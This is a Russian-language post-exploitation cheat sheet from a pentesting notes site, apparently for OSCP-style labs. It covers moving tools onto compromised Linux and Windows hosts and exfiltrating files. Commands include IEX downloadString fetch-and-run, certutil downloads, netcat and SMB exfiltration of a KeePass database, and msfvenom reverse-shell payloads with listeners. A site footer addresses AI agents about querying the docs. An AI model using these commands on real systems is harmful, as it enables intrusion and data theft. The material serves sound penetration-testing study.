> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/post-exploitation/file-transfer.md).

# Передача файлов

Передача файлов обычно является одной из первых практических проблем после закрепления: перенос инструментов внутрь, вынос доказательств наружу и всё это через тот протокол, который разрешает целевая сеть. Держите под рукой несколько методов, потому что HTTP, SMB, FTP, PowerShell и Netcat блокируются по-разному в разных средах.

{% hint style="info" %}
Предпочитайте самый простой рабочий способ передачи, проверяйте хэши, когда важна целостность, и удаляйте временные полезные нагрузки, общие ресурсы и прослушиватели, когда задача завершена.
{% endhint %}

## Краткая таблица принятия решений

| Ситуация                                                | Лучший первый выбор                                                         | Альтернативы          |
| ------------------------------------------------------- | --------------------------------------------------------------------------- | --------------------- |
| Linux-цель может обращаться к HTTP-серверу атакующего   | HTTP-сервер Python + `wget`/`curl`                                          | SCP, Netcat, Base64   |
| Windows-цель может обращаться к HTTP-серверу атакующего | HTTP-сервер Python + PowerShell                                             | `certutil`, SMB, FTP  |
| Windows-цель может обращаться к SMB                     | набора Impacket `smbserver.py`                                              | HTTP, FTP             |
| Нужно вывести данные из Windows в Linux                 | SMB-общий ресурс с поддержкой записи                                        | Netcat, Base64        |
| Очень маленький текстовый файл                          | Копирование/вставка Base64                                                  | Netcat                |
| Ограниченный исходящий трафик                           | Попробуйте распространённые разрешённые порты, например `80`, `443`или `53` | Сначала pivot/туннель |

## Передача на Linux-цель

### `Wget`

```bash
python3 -m http.server 8000
wget http://10.10.11.1:8000/file.pdf
```

### **`Curl:`**

```bash
python3 -m http.server 1234
curl -O http://10.10.11.25:1234/file.pdf
```

### `Netcat`

Сначала получатель:

```bash
nc -lvp 4444 > file.pdf
```

Отправитель:

```bash
cat file.pdf | nc 10.10.11.25 4444
```

### `Scp:`

С исходного сервера:

```bash
scp /path/to/file user@10.10.11.25:/path/to/destination
```

С целевого сервера:

```bash
scp user@10.10.11.1:/path/to/file /path/to/destination
```

## Передача с Linux на Windows

### SMB-сервер

SMB часто является самым надёжным путём передачи с Kali на Windows, когда порт `445` доступен.

На Kali:

```bash
smbserver.py share_name . -smb2support
```

Если Windows требует аутентификацию:

```bash
smbserver.py share_name . -smb2support -username user -password password
```

На Windows:

```powershell
copy \\10.10.14.10\share_name\file.exe C:\Temp\file.exe
```

### HTTP-сервер

На Kali:

```bash
python3 -m http.server 8000
```

На Windows с PowerShell:

```powershell
Invoke-WebRequest -Uri "http://10.10.14.10:8000/file.exe" -OutFile "C:\Temp\file.exe"
```

Альтернативный клиент PowerShell:

```powershell
(New-Object System.Net.WebClient).DownloadFile("http://10.10.14.10:8000/file.exe", "C:\Temp\file.exe")
```

Используя `certutil`:

```powershell
certutil -urlcache -split -f "http://10.10.14.10:8000/file.exe" C:\Temp\file.exe
```

### FTP-сервер

FTP полезен, когда HTTP/SMB ограничены, но исходящий FTP разрешён.

На Kali:

```bash
sudo apt update
sudo apt install python3-pyftpdlib
python3 -m pyftpdlib -p 21 --write
```

На Windows создайте небольшой файл команд FTP:

```powershell
echo open 10.10.14.10 21> ftp_commands.txt
echo anonymous>> ftp_commands.txt
echo password>> ftp_commands.txt
echo binary>> ftp_commands.txt
echo get file.exe>> ftp_commands.txt
echo bye>> ftp_commands.txt
ftp -s:ftp_commands.txt
```

## Передача на целевую Windows

### `Certutil`

```powershell
python3 -m http.server 80
certutil.exe -f -urlcache -split http://10.10.10.10/shell.exe
```

### `Invoke-WebRequest`

```powershell
python3 -m http.server 80
Invoke-WebRequest -Uri "http://10.10.10.10/file.exe" -OutFile "file.exe"
```

### `IEX (Invoke-Expression)`

```powershell
python3 -m http.server 80
IEX(New-object Net.WebClient).downloadString('http://10.10.10.10/file')
```

### `Загрузить файл`

Необходимо убедиться, что файлы находятся в нужном каталоге, чтобы сервер мог получить к ним доступ. Для загрузки используйте следующую команду

```bash
upload /home/jordan/Desktop/htb/return/content/nc.exe
```

### `Общий доступ к файлам SMB`

```bash
smbserver.py share $(pwd) -smb2support
```

Затем откройте ваш SMB-общий ресурс по следующему адресу:

```powershell
copy \\10.10.10.10\share\file C:\Temp\file
```

## Передача файлов с Windows в Linux

### Загрузка через SMB

Запустите SMB-общий ресурс с аутентификацией и поддержкой SMB2:

```bash
smbserver.py -smb2support -username user -password password share_name /tmp/share
```

С целевой Windows скопируйте файл в SMB-общий ресурс атакующего:

```powershell
copy C:\Users\kohsuke\Documents\CEH.kdbx \\10.10.14.9\share_name\
```

<figure><img src="/files/94bec065ccb482b57a16ab4571f2b43c38d7d8ba" alt=""><figcaption></figcaption></figure>

### Эксфильтрация через Netcat

На Linux слушайте и записывайте входящие байты в файл:

```bash
nc -nlvp 4444 > received_file.txt
```

На Windows:

```powershell
type C:\path\to\file.txt | nc.exe 10.10.14.10 4444
```

### Base64 для маленьких файлов

На Windows:

```powershell
certutil -encode C:\path\to\file.txt encoded.b64
type encoded.b64
```

На Linux вставьте закодированное содержимое и декодируйте его:

```bash
echo "PASTE_BASE64_HERE" | base64 -d > file.txt
```

## Примечания по staging полезной нагрузки

Генерация полезной нагрузки относится к инструментам эксплуатации, но полезно держать распространённые форматы staging рядом с заметками о передаче файлов.

Примеры для Windows:

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f exe -o reverse.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f psh -o reverse.ps1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f dll -o reverse.dll
```

Примеры для Linux:

```bash
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f elf -o reverse
msfvenom -p cmd/unix/reverse_python LHOST=10.10.14.10 LPORT=443 -f raw -o reverse.py
```

Прослушиватель:

```bash
nc -nvlp 443
```

## Советы по рабочему процессу OSCP

1. Подготовьте методы HTTP, SMB, Netcat, FTP и Base64 до начала.
2. Проверьте прослушиватель и путь к полезной нагрузке до загрузки.
3. Используйте порты, которые, вероятно, будут разрешены целевой сетью, например `80`, `443`или `53`.
4. Держите небольшой каталог с полезными нагрузками/инструментами наготове, чтобы не собирать одни и те же файлы снова и снова.
5. Помните, что антивирус может блокировать полезные нагрузки или способы передачи; при необходимости переключайтесь на другой протокол или формат.
6. После проверки удаляйте временные инструменты, полезные нагрузки, FTP-скрипты, SMB-общие ресурсы и подготовленные файлы.

## Устранение неполадок

| Проблема                               | Проверки                                                                                                            |
| -------------------------------------- | ------------------------------------------------------------------------------------------------------------------- |
| Соединение SMB отклонено               | Запустите `smbserver.py` при наличии достаточных привилегий, проверьте порт `445`, и попробуйте `-smb2support`.     |
| Windows не может получить доступ к SMB | Попробуйте параметры аутентификации, проверьте правила брандмауэра или переключитесь на HTTP.                       |
| Скачивание по HTTP не удаётся          | Подтвердите, что целевая система может достичь IP атакующего, и что файл находится в каталоге раздачи.              |
| PowerShell заблокирован                | Попробуйте `certutil`, SMB, FTP или разрешённый политикой путь загрузки с использованием встроенных средств ОС.     |
| Антивирус удаляет полезную нагрузку    | Сначала передайте безвредный тестовый файл, затем измените формат полезной нагрузки, staging или способ доставки.   |
| Отказано в доступе после передачи      | Используйте `chmod +x` в Linux или проверьте ACL Windows с помощью `icacls`.                                        |
| Загрузка в SMB не удаётся              | Запустите общий ресурс с путём на запись и учётными данными, затем повторно проверьте на небольшом текстовом файле. |

## Очистка

```bash
rm -f reverse reverse.exe reverse.ps1 reverse.dll
rm -f ftp_commands.txt encoded.b64 received_file.txt
```

На Windows:

```powershell
del C:\Temp\file.exe
del C:\Temp\reverse.exe
del ftp_commands.txt
certutil -urlcache * delete
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/post-exploitation/file-transfer.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
